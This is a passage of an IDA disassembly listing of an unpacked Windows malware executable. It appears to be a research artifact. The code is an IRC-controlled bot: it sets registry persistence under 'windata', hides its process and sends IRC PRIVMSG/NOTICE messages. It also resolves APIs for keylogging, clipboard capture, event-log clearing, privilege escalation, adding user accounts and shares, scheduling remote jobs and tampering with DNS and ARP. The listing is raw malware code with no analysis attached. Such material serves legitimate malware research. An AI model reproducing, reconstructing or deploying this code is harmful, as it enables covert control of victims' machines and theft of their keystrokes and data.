; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 69688B90902B3D8A5A669817D2040FEB ; File Name : u:\work\69688b90902b3d8a5a669817d2040feb_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0002A000 ( 172032.) ; Section size in file : 0002A000 ( 172032.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write seg000 segment para public 'DATA' use32 assume cs:seg000 ;org 401000h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_40A263+342p ; sub_41AEDD+1Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi xor edi, edi xor esi, esi mov ebx, offset aWindata ; "windata" loc_401010: ; CODE XREF: sub_401000+6Aj push edi lea eax, [ebp+var_4] push eax push edi push 0F003Fh push edi push edi push edi push ds:off_43C054[esi] push ds:dword_43C050[esi] call ds:dword_444150 ; RegCreateKeyExA cmp [ebp+arg_0], edi jz short loc_401051 push [ebp+arg_0] call sub_41E1C0 pop ecx push eax push [ebp+arg_0] push 1 push edi push ebx push [ebp+var_4] call ds:dword_4440E4 ; RegSetValueExA jmp short loc_40105B ; --------------------------------------------------------------------------- loc_401051: ; CODE XREF: sub_401000+33j push ebx push [ebp+var_4] call ds:dword_444144 ; RegDeleteValueA loc_40105B: ; CODE XREF: sub_401000+4Fj push [ebp+var_4] call ds:dword_4441E8 ; RegCloseKey add esi, 8 cmp esi, 18h jb short loc_401010 pop edi pop esi pop ebx leave retn sub_401000 endp ; --------------------------------------------------------------------------- db 8Bh, 4Ch, 24h dd 748B5604h, 0C8830C24h, 74F685FFh, 8AD2331Ah, 81D03311h dd 0FFE2h, 8E8C100h, 30950433h, 410042B2h, 0F7E6754Eh dd 53C35ED0h, 0DB335756h, 0D529E853h, 4C70001h, 42B63024h dd 2474FF00h, 0E8F08B14h, 1D492h, 0FF85F88Bh, 26755959h dd 43EBC033h, 0E8565343h, 1D2F2h, 0F685F08Bh, 0EC745959h dd 8D016A57h, 6AFF1E44h, 0F2E85001h, 830001D1h, 47F610C4h dd 0D874100Ch, 0E856534Bh, 0FFFFFF79h, 0E8D88B56h, 1D1A1h dd 0D145E857h, 0C4830001h, 5FC38B10h db 5Eh, 5Bh, 0C3h ; --------------------------------------------------------------------------- loc_40110F: ; DATA XREF: sub_40A263+14o push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push ds:dword_4444F4 call ds:dword_444218 ; closesocket call sub_40AFF6 call ds:dword_444224 ; WSACleanup call ds:dword_444224 ; WSACleanup mov ebx, ds:dword_42B014 push 64h call ebx ; Sleep push 10h xor edi, edi lea eax, [ebp-10h] push edi push eax call sub_41E5F0 push 44h pop esi push esi lea eax, [ebp-54h] push edi push eax call sub_41E5F0 add esp, 18h mov [ebp-54h], esi mov esi, 104h push esi lea eax, [ebp-158h] push eax mov dword ptr [ebp-48h], offset byte_42B633 mov dword ptr [ebp-28h], 1 mov [ebp-24h], di call ds:dword_42B010 ; GetSystemDirectoryA push esi lea eax, [ebp-25Ch] push eax push edi call ds:dword_42B00C ; GetModuleFileNameA lea eax, [ebp-10h] push eax lea eax, [ebp-54h] push eax lea eax, [ebp-158h] push eax push edi push 28h push 1 push edi push edi lea eax, [ebp-25Ch] push eax push edi call ds:dword_42B008 ; CreateProcessA test eax, eax jz short loc_4011D4 push 64h call ebx ; Sleep push dword ptr [ebp-10h] mov esi, ds:dword_42B004 call esi ; CloseHandle push dword ptr [ebp-0Ch] call esi ; CloseHandle loc_4011D4: ; CODE XREF: seg000:004011BEj mov eax, [ebp+10h] mov dword ptr [eax+0B0h], offset dword_444060 mov eax, [esp] mov large fs:0, eax add esp, 8 push edi call ds:dword_42B000 ; ExitProcess int 3 ; Trap to Debugger ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4011F5 proc near ; CODE XREF: sub_402472+3Fp ; sub_40274D+1A9p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax push [ebp+arg_4] lea eax, [ebp+var_200] push 200h push eax call sub_41E650 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call ds:dword_4441A0 ; send leave retn sub_4011F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40123B proc near ; CODE XREF: sub_401F92+40p ; sub_401F92+74p ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_401256 mov edi, offset aPrivmsg ; "PRIVMSG" loc_401256: ; CODE XREF: sub_40123B+14j push edi call sub_41E1C0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41E1C0 push [ebp+arg_8] sub esi, eax push offset aS ; "%s" lea eax, [ebp+var_400] push esi push eax call sub_41E6FE lea eax, [ebp+var_400] push eax push [ebp+arg_4] lea eax, [ebp+var_200] push edi push offset aSSS ; "%s %s :%s\r\n" push eax call sub_41E6A6 add esp, 2Ch lea eax, [ebp+var_200] push 0 push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call ds:dword_4441A0 ; send cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_4012D4 push 7D0h call ds:dword_42B014 ; Sleep locret_4012D4: ; CODE XREF: sub_40123B+8Cj leave retn sub_40123B endp ; =============== S U B R O U T I N E ======================================= sub_4012D6 proc near ; CODE XREF: sub_40A263+4Bp push ebx push ebp mov ebp, ds:dword_42B024 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp ; GetModuleHandleA mov esi, ds:dword_42B020 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_4013F6 push offset aSeterrormode ; "SetErrorMode" push edi call esi ; GetProcAddress push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov ds:dword_4440D4, eax call esi ; GetProcAddress push offset aProcess32first ; "Process32First" push edi mov ds:dword_4440F0, eax call esi ; GetProcAddress push offset aProcess32next ; "Process32Next" push edi mov ds:dword_444154, eax call esi ; GetProcAddress push offset aModule32first ; "Module32First" push edi mov ds:dword_4440A4, eax call esi ; GetProcAddress push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov ds:dword_444118, eax call esi ; GetProcAddress push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov ds:dword_4440FC, eax call esi ; GetProcAddress push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov ds:dword_4441A8, eax call esi ; GetProcAddress push offset aSearchpatha ; "SearchPathA" push edi mov ds:dword_44407C, eax call esi ; GetProcAddress push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov ds:dword_444124, eax call esi ; GetProcAddress push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov ds:dword_44414C, eax call esi ; GetProcAddress cmp ds:dword_4440D4, ebx mov ds:dword_4441B4, eax jz short loc_4013D4 cmp ds:dword_4440F0, ebx jz short loc_4013D4 cmp ds:dword_444154, ebx jz short loc_4013D4 cmp ds:dword_4440A4, ebx jz short loc_4013D4 cmp ds:dword_4440FC, ebx jz short loc_4013D4 cmp ds:dword_4441A8, ebx jz short loc_4013D4 cmp ds:dword_44407C, ebx jz short loc_4013D4 cmp ds:dword_444124, ebx jz short loc_4013D4 cmp ds:dword_44414C, ebx jz short loc_4013D4 cmp eax, ebx jnz short loc_4013DE loc_4013D4: ; CODE XREF: sub_4012D6+B8j ; sub_4012D6+C0j ... mov ds:dword_444264, 1 loc_4013DE: ; CODE XREF: sub_4012D6+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; GetProcAddress cmp eax, ebx mov ds:dword_444208, eax jz short loc_40140B push 1 push ebx call eax jmp short loc_40140B ; --------------------------------------------------------------------------- loc_4013F6: ; CODE XREF: sub_4012D6+1Dj call ds:dword_42B01C ; RtlGetLastWin32Error mov ds:dword_444268, eax mov ds:dword_444264, 1 loc_40140B: ; CODE XREF: sub_4012D6+117j ; sub_4012D6+11Ej push offset aUser32_dll ; "user32.dll" call ds:dword_42B018 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_401520 push offset aSendmessagea ; "SendMessageA" push edi call esi ; GetProcAddress push offset aFindwindowa ; "FindWindowA" push edi mov ds:dword_4441CC, eax call esi ; GetProcAddress push offset aIswindow ; "IsWindow" push edi mov ds:dword_444160, eax call esi ; GetProcAddress push offset aDestroywindow ; "DestroyWindow" push edi mov ds:dword_444084, eax call esi ; GetProcAddress push offset aOpenclipboard ; "OpenClipboard" push edi mov ds:dword_4440F8, eax call esi ; GetProcAddress push offset aGetclipboardda ; "GetClipboardData" push edi mov ds:dword_44409C, eax call esi ; GetProcAddress push offset aCloseclipboard ; "CloseClipboard" push edi mov ds:dword_44423C, eax call esi ; GetProcAddress push offset aExitwindowsex ; "ExitWindowsEx" push edi mov ds:dword_444080, eax call esi ; GetProcAddress cmp ds:dword_4441CC, ebx mov ds:dword_4441A4, eax jz short loc_4014C4 loc_401490: ; DATA XREF: seg002:off_43F1F8o cmp ds:dword_444160, ebx jz short loc_4014C4 cmp ds:dword_444084, ebx jz short loc_4014C4 cmp ds:dword_4440F8, ebx jz short loc_4014C4 cmp ds:dword_44409C, ebx jz short loc_4014C4 cmp ds:dword_44423C, ebx jz short loc_4014C4 cmp ds:dword_444080, ebx jz short loc_4014C4 cmp eax, ebx jnz short loc_4014CE loc_4014C4: ; CODE XREF: sub_4012D6+1B8j ; sub_4012D6+1C0j ... mov ds:dword_44426C, 1 loc_4014CE: ; CODE XREF: sub_4012D6+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi ; GetProcAddress push offset aGetkeystate ; "GetKeyState" push edi mov ds:dword_4440A0, eax call esi ; GetProcAddress push offset aGetwindowtexta ; "GetWindowTextA" push edi mov ds:dword_44422C, eax call esi ; GetProcAddress push offset aGetforegroundw ; "GetForegroundWindow" push edi mov ds:dword_4440B0, eax call esi ; GetProcAddress cmp ds:dword_4440A0, ebx mov ds:dword_4440C0, eax jz short loc_40152B cmp ds:dword_44422C, ebx jz short loc_40152B cmp ds:dword_4440B0, ebx jz short loc_40152B cmp eax, ebx jnz short loc_401535 jmp short loc_40152B ; --------------------------------------------------------------------------- loc_401520: ; CODE XREF: sub_4012D6+144j call ds:dword_42B01C ; RtlGetLastWin32Error mov ds:dword_444270, eax loc_40152B: ; CODE XREF: sub_4012D6+232j ; sub_4012D6+23Aj ... mov ds:dword_44426C, 1 loc_401535: ; CODE XREF: sub_4012D6+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_4016EE push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; GetProcAddress push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov ds:dword_444238, eax call esi ; GetProcAddress push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov ds:dword_444150, eax call esi ; GetProcAddress push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov ds:dword_4440E4, eax call esi ; GetProcAddress push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov ds:dword_4440B8, eax call esi ; GetProcAddress push offset aRegclosekey ; "RegCloseKey" push edi mov ds:dword_444144, eax call esi ; GetProcAddress push offset aOpeneventloga ; "OpenEventLogA" push edi mov ds:dword_4441E8, eax call esi ; GetProcAddress push offset aCleareventloga ; "ClearEventLogA" push edi mov ds:dword_444248, eax call esi ; GetProcAddress cmp ds:dword_444238, ebx mov ds:dword_44411C, eax jz short loc_4015DE cmp ds:dword_444150, ebx jz short loc_4015DE cmp ds:dword_4440E4, ebx jz short loc_4015DE cmp ds:dword_4440B8, ebx jz short loc_4015DE cmp ds:dword_444144, ebx jz short loc_4015DE cmp ds:dword_4441E8, ebx jnz short loc_4015E8 loc_4015DE: ; CODE XREF: sub_4012D6+2DEj ; sub_4012D6+2E6j ... mov ds:dword_444274, 1 loc_4015E8: ; CODE XREF: sub_4012D6+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov ds:dword_444244, eax call esi ; GetProcAddress push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov ds:dword_444228, eax call esi ; GetProcAddress cmp ds:dword_444244, ebx mov ds:dword_444170, eax jz short loc_401623 cmp ds:dword_444228, ebx jz short loc_401623 cmp eax, ebx jnz short loc_40162D loc_401623: ; CODE XREF: sub_4012D6+33Fj ; sub_4012D6+347j mov ds:dword_444274, 1 loc_40162D: ; CODE XREF: sub_4012D6+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; GetProcAddress push offset aOpenservicea ; "OpenServiceA" push edi mov ds:dword_4441C8, eax call esi ; GetProcAddress push offset aStartservicea ; "StartServiceA" push edi mov ds:dword_44424C, eax call esi ; GetProcAddress push offset aControlservice ; "ControlService" push edi mov ds:dword_4441D0, eax call esi ; GetProcAddress push offset aDeleteservice ; "DeleteService" push edi mov ds:dword_4441EC, eax call esi ; GetProcAddress push offset aCloseserviceha ; "CloseServiceHandle" push edi mov ds:dword_4440F4, eax call esi ; GetProcAddress push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov ds:dword_444134, eax call esi ; GetProcAddress push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov ds:dword_4441D8, eax call esi ; GetProcAddress cmp ds:dword_4441C8, ebx mov ds:dword_444204, eax jz short loc_4016D1 cmp ds:dword_44424C, ebx jz short loc_4016D1 cmp ds:dword_4441D0, ebx jz short loc_4016D1 cmp ds:dword_4441EC, ebx jz short loc_4016D1 cmp ds:dword_4440F4, ebx jz short loc_4016D1 cmp ds:dword_444134, ebx jz short loc_4016D1 cmp ds:dword_4441D8, ebx jz short loc_4016D1 cmp eax, ebx jnz short loc_4016DB loc_4016D1: ; CODE XREF: sub_4012D6+3C5j ; sub_4012D6+3CDj ... mov ds:dword_444274, 1 loc_4016DB: ; CODE XREF: sub_4012D6+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi ; GetProcAddress cmp eax, ebx mov ds:dword_444198, eax jnz short loc_401703 jmp short loc_4016F9 ; --------------------------------------------------------------------------- loc_4016EE: ; CODE XREF: sub_4012D6+26Aj call ds:dword_42B01C ; RtlGetLastWin32Error mov ds:dword_444278, eax loc_4016F9: ; CODE XREF: sub_4012D6+416j mov ds:dword_444274, 1 loc_401703: ; CODE XREF: sub_4012D6+414j push offset aGdi32_dll ; "gdi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_4017CF push offset aCreatedca ; "CreateDCA" push edi call esi ; GetProcAddress push offset aCreatedibsecti ; "CreateDIBSection" push edi mov ds:dword_444250, eax call esi ; GetProcAddress push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov ds:dword_44421C, eax call esi ; GetProcAddress push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov ds:dword_444180, eax call esi ; GetProcAddress push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov ds:dword_444178, eax call esi ; GetProcAddress push offset aSelectobject ; "SelectObject" push edi mov ds:dword_4441C0, eax call esi ; GetProcAddress push offset aBitblt ; "BitBlt" push edi mov ds:dword_44408C, eax call esi ; GetProcAddress push offset aDeletedc ; "DeleteDC" push edi mov ds:dword_444190, eax call esi ; GetProcAddress push offset aDeleteobject ; "DeleteObject" push edi mov ds:dword_444130, eax call esi ; GetProcAddress cmp ds:dword_444250, ebx mov ds:dword_444184, eax jz short loc_4017DA cmp ds:dword_44421C, ebx jz short loc_4017DA cmp ds:dword_444180, ebx jz short loc_4017DA cmp ds:dword_444178, ebx jz short loc_4017DA cmp ds:dword_4441C0, ebx jz short loc_4017DA cmp ds:dword_44408C, ebx jz short loc_4017DA cmp ds:dword_444190, ebx jz short loc_4017DA cmp ds:dword_444130, ebx jz short loc_4017DA cmp eax, ebx jnz short loc_4017E4 jmp short loc_4017DA ; --------------------------------------------------------------------------- loc_4017CF: ; CODE XREF: sub_4012D6+438j call ds:dword_42B01C ; RtlGetLastWin32Error mov ds:dword_444280, eax loc_4017DA: ; CODE XREF: sub_4012D6+4B9j ; sub_4012D6+4C1j ... mov ds:dword_44427C, 1 loc_4017E4: ; CODE XREF: sub_4012D6+4F5j mov ebp, ds:dword_42B018 push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_401AA0 push offset aWsastartup ; "WSAStartup" push edi call esi ; GetProcAddress push offset aWsasocketa ; "WSASocketA" push edi mov ds:dword_444110, eax call esi ; GetProcAddress push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov ds:dword_444074, eax call esi ; GetProcAddress push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov ds:dword_444194, eax call esi ; GetProcAddress push offset aWsaioctl ; "WSAIoctl" push edi mov ds:dword_44415C, eax call esi ; GetProcAddress push offset aWsagetlasterro ; "WSAGetLastError" push edi mov ds:dword_4441E0, eax call esi ; GetProcAddress push offset aWsacleanup ; "WSACleanup" push edi mov ds:dword_4441C4, eax call esi ; GetProcAddress push offset aSocket ; "socket" push edi mov ds:dword_444224, eax call esi ; GetProcAddress push offset aIoctlsocket ; "ioctlsocket" push edi mov ds:dword_444100, eax call esi ; GetProcAddress push offset aConnect ; "connect" push edi mov ds:dword_444094, eax call esi ; GetProcAddress push offset aInet_ntoa ; "inet_ntoa" push edi mov ds:dword_4440AC, eax call esi ; GetProcAddress push offset aInet_addr ; "inet_addr" push edi mov ds:dword_444188, eax call esi ; GetProcAddress push offset aHtons ; "htons" push edi mov ds:dword_44417C, eax call esi ; GetProcAddress push offset aHtonl ; "htonl" push edi mov ds:dword_444260, eax call esi ; GetProcAddress push offset aNtohs ; "ntohs" push edi mov ds:dword_444234, eax call esi ; GetProcAddress push offset aNtohl ; "ntohl" push edi mov ds:dword_444200, eax call esi ; GetProcAddress push offset aSend ; "send" push edi mov ds:dword_4441DC, eax call esi ; GetProcAddress push offset aSendto ; "sendto" push edi mov ds:dword_4441A0, eax call esi ; GetProcAddress push offset aRecv ; "recv" push edi mov ds:dword_4440CC, eax call esi ; GetProcAddress push offset aRecvfrom ; "recvfrom" push edi mov ds:dword_444064, eax call esi ; GetProcAddress mov ds:dword_444088, eax push offset aBind ; "bind" push edi call esi ; GetProcAddress push offset aSelect ; "select" push edi mov ds:dword_4441E4, eax call esi ; GetProcAddress push offset aListen ; "listen" push edi mov ds:dword_4441B0, eax call esi ; GetProcAddress push offset aAccept ; "accept" push edi mov ds:dword_444230, eax call esi ; GetProcAddress push offset aSetsockopt ; "setsockopt" push edi mov ds:dword_4440BC, eax call esi ; GetProcAddress push offset aGetsockname ; "getsockname" push edi mov ds:dword_444120, eax call esi ; GetProcAddress push offset aGethostname ; "gethostname" push edi mov ds:dword_444068, eax call esi ; GetProcAddress push offset aGethostbyname ; "gethostbyname" push edi mov ds:dword_444220, eax call esi ; GetProcAddress push offset aGethostbyaddr ; "gethostbyaddr" push edi mov ds:dword_444168, eax call esi ; GetProcAddress push offset aGetpeername ; "getpeername" push edi mov ds:dword_4441FC, eax call esi ; GetProcAddress push offset aClosesocket ; "closesocket" push edi mov ds:dword_444148, eax call esi ; GetProcAddress cmp ds:dword_444110, ebx mov ds:dword_444218, eax jz loc_401AAB cmp ds:dword_444074, ebx jz loc_401AAB cmp ds:dword_444194, ebx jz loc_401AAB cmp ds:dword_4441E0, ebx jz loc_401AAB cmp ds:dword_4441C4, ebx jz loc_401AAB cmp ds:dword_444224, ebx jz loc_401AAB cmp ds:dword_444100, ebx jz loc_401AAB cmp ds:dword_444094, ebx jz loc_401AAB cmp ds:dword_4440AC, ebx jz loc_401AAB cmp ds:dword_444188, ebx jz loc_401AAB cmp ds:dword_44417C, ebx jz loc_401AAB cmp ds:dword_444260, ebx jz loc_401AAB cmp ds:dword_444234, ebx jz loc_401AAB cmp ds:dword_444200, ebx jz short loc_401AAB cmp ds:dword_4441A0, ebx jz short loc_401AAB cmp ds:dword_4440CC, ebx jz short loc_401AAB cmp ds:dword_444064, ebx jz short loc_401AAB cmp ds:dword_444088, ebx jz short loc_401AAB cmp ds:dword_4441E4, ebx jz short loc_401AAB cmp ds:dword_4441B0, ebx jz short loc_401AAB cmp ds:dword_444230, ebx jz short loc_401AAB cmp ds:dword_4440BC, ebx jz short loc_401AAB cmp ds:dword_444120, ebx jz short loc_401AAB cmp ds:dword_444068, ebx jz short loc_401AAB cmp ds:dword_444220, ebx jz short loc_401AAB cmp ds:dword_444168, ebx jz short loc_401AAB cmp ds:dword_4441FC, ebx jz short loc_401AAB cmp eax, ebx jnz short loc_401AB5 jmp short loc_401AAB ; --------------------------------------------------------------------------- loc_401AA0: ; CODE XREF: sub_4012D6+51Fj call ds:dword_42B01C ; RtlGetLastWin32Error mov ds:dword_444288, eax loc_401AAB: ; CODE XREF: sub_4012D6+6BEj ; sub_4012D6+6CAj ... mov ds:dword_444284, 1 loc_401AB5: ; CODE XREF: sub_4012D6+7C6j push offset aWininet_dll ; "wininet.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_401BBA push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; GetProcAddress push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov ds:dword_444078, eax call esi ; GetProcAddress push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov ds:dword_44425C, eax call esi ; GetProcAddress push offset aHttpsendreques ; "HttpSendRequestA" push edi mov ds:dword_44412C, eax call esi ; GetProcAddress push offset aInternetconnec ; "InternetConnectA" push edi mov ds:dword_444258, eax call esi ; GetProcAddress push offset aInternetopena ; "InternetOpenA" push edi mov ds:dword_44413C, eax call esi ; GetProcAddress push offset aInternetopenur ; "InternetOpenUrlA" push edi mov ds:dword_444098, eax call esi ; GetProcAddress push offset aInternetcracku ; "InternetCrackUrlA" push edi mov ds:dword_444108, eax call esi ; GetProcAddress push offset aInternetreadfi ; "InternetReadFile" push edi mov ds:dword_444070, eax call esi ; GetProcAddress push offset aInternetcloseh ; "InternetCloseHandle" push edi mov ds:dword_4441B8, eax call esi ; GetProcAddress cmp ds:dword_444078, ebx mov ecx, ds:dword_444098 mov ds:dword_444164, eax jz short loc_401B96 cmp ds:dword_44425C, ebx jz short loc_401B96 cmp ds:dword_44412C, ebx jz short loc_401B96 cmp ds:dword_444258, ebx jz short loc_401B96 cmp ds:dword_44413C, ebx jz short loc_401B96 cmp ecx, ebx jz short loc_401B96 cmp ds:dword_444108, ebx jz short loc_401B96 cmp ds:dword_444070, ebx jz short loc_401B96 cmp ds:dword_4441B8, ebx jz short loc_401B96 cmp eax, ebx jnz short loc_401BA0 loc_401B96: ; CODE XREF: sub_4012D6+87Ej ; sub_4012D6+886j ... mov ds:dword_44428C, 1 loc_401BA0: ; CODE XREF: sub_4012D6+8BEj cmp ecx, ebx jz short loc_401BD5 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; InternetOpenA cmp eax, ebx mov ds:dword_444254, eax jnz short loc_401BD5 jmp short loc_401BCF ; --------------------------------------------------------------------------- loc_401BBA: ; CODE XREF: sub_4012D6+7EAj call ds:dword_42B01C ; RtlGetLastWin32Error mov ds:dword_444290, eax mov ds:dword_44428C, 1 loc_401BCF: ; CODE XREF: sub_4012D6+8E2j mov ds:dword_444254, ebx loc_401BD5: ; CODE XREF: sub_4012D6+8CCj ; sub_4012D6+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_401C1F push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi ; GetProcAddress push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov ds:dword_444158, eax call esi ; GetProcAddress push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov ds:dword_44418C, eax call esi ; GetProcAddress cmp ds:dword_444158, ebx mov ds:dword_4441F4, eax jz short loc_401C2A cmp ds:dword_44418C, ebx jz short loc_401C2A cmp eax, ebx jnz short loc_401C34 jmp short loc_401C2A ; --------------------------------------------------------------------------- loc_401C1F: ; CODE XREF: sub_4012D6+90Aj call ds:dword_42B01C ; RtlGetLastWin32Error mov ds:dword_444298, eax loc_401C2A: ; CODE XREF: sub_4012D6+939j ; sub_4012D6+941j ... mov ds:dword_444294, 1 loc_401C34: ; CODE XREF: sub_4012D6+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_401D3B push offset aNetshareadd ; "NetShareAdd" push edi call esi ; GetProcAddress push offset aNetsharedel ; "NetShareDel" push edi mov ds:dword_4440E8, eax call esi ; GetProcAddress push offset aNetshareenum ; "NetShareEnum" push edi mov ds:dword_444104, eax call esi ; GetProcAddress push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov ds:dword_44420C, eax call esi ; GetProcAddress push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov ds:dword_4440A8, eax call esi ; GetProcAddress push offset aNetremotetod ; "NetRemoteTOD" push edi mov ds:dword_444140, eax call esi ; GetProcAddress push offset aNetuseradd ; "NetUserAdd" push edi mov ds:dword_44406C, eax call esi ; GetProcAddress push offset aNetuserdel ; "NetUserDel" push edi mov ds:dword_4440C8, eax call esi ; GetProcAddress push offset aNetuserenum ; "NetUserEnum" push edi mov ds:dword_4441D4, eax call esi ; GetProcAddress push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov ds:dword_4440E0, eax call esi ; GetProcAddress push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov ds:dword_4440EC, eax call esi ; GetProcAddress push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov ds:dword_444114, eax call esi ; GetProcAddress cmp ds:dword_4440E8, ebx mov ds:dword_4440DC, eax jz short loc_401D46 cmp ds:dword_444104, ebx jz short loc_401D46 cmp ds:dword_44420C, ebx jz short loc_401D46 cmp ds:dword_4440A8, ebx jz short loc_401D46 cmp ds:dword_444140, ebx jz short loc_401D46 cmp ds:dword_44406C, ebx jz short loc_401D46 cmp ds:dword_4440C8, ebx jz short loc_401D46 cmp ds:dword_4441D4, ebx jz short loc_401D46 cmp ds:dword_4440E0, ebx jz short loc_401D46 cmp ds:dword_4440EC, ebx jz short loc_401D46 cmp ds:dword_444114, ebx jnz short loc_401D50 jmp short loc_401D46 ; --------------------------------------------------------------------------- loc_401D3B: ; CODE XREF: sub_4012D6+969j call ds:dword_42B01C ; RtlGetLastWin32Error mov ds:dword_4442A0, eax loc_401D46: ; CODE XREF: sub_4012D6+A11j ; sub_4012D6+A19j ... mov ds:dword_44429C, 1 loc_401D50: ; CODE XREF: sub_4012D6+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_401D85 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; GetProcAddress push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov ds:dword_4441F0, eax call esi ; GetProcAddress cmp ds:dword_4441F0, ebx mov ds:dword_44416C, eax jz short loc_401D90 cmp eax, ebx jnz short loc_401D9A jmp short loc_401D90 ; --------------------------------------------------------------------------- loc_401D85: ; CODE XREF: sub_4012D6+A85j call ds:dword_42B01C ; RtlGetLastWin32Error mov ds:dword_4442A8, eax loc_401D90: ; CODE XREF: sub_4012D6+AA7j ; sub_4012D6+AADj mov ds:dword_4442A4, 1 loc_401D9A: ; CODE XREF: sub_4012D6+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_401DCF push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; GetProcAddress push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov ds:dword_44410C, eax call esi ; GetProcAddress cmp ds:dword_44410C, ebx mov ds:dword_444174, eax jz short loc_401DDA cmp eax, ebx jnz short loc_401DE4 jmp short loc_401DDA ; --------------------------------------------------------------------------- loc_401DCF: ; CODE XREF: sub_4012D6+ACFj call ds:dword_42B01C ; RtlGetLastWin32Error mov ds:dword_4442B0, eax loc_401DDA: ; CODE XREF: sub_4012D6+AF1j ; sub_4012D6+AF7j mov ds:dword_4442AC, 1 loc_401DE4: ; CODE XREF: sub_4012D6+AF5j push offset aMpr_dll ; "mpr.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_401E43 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; GetProcAddress push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov 